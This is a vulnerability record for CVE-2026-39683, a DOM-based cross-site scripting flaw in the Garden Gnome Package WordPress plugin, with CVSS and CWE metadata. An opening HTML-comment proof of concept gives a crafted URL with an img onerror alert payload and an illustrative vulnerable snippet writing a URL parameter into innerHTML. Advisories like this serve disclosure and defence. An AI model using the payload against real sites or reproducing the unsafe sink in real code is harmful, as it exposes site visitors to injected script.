CVE-2026-39683

<!-- Proof of Concept for CVE-2026-39683 --> <!-- Scenario: Injecting script via URL parameter reflected in DOM --> <!-- 1. Attacker sends crafted link to victim --> <!-- https://vulnerable-site.com/page?vulnerable_param=<img src=x onerror=alert('XSS')> --> <!-- 2. Vulnerable code in Garden Gnome Package might look like this: --> <!-- <script> var userInput = new URLSearchParams(window.location.search).get('vulnerable_param'); document.getElementById('display').innerHTML = userInput; // Vulnerable sink </script> --> <!-- 3. Result: Alert box pops up in victim's browser -->

{"cve": {"id": "CVE-2026-39683", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:40.140", "lastModified": "2026-04-24T18:05:35.730", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Chief Gnome Garden Gnome Package garden-gnome-package allows DOM-Based XSS.This issue affects Garden Gnome Package: from n/a through <= 2.4.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/garden-gnome-package/vulnerability/wordpress-garden-gnome-package-plugin-2-4-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}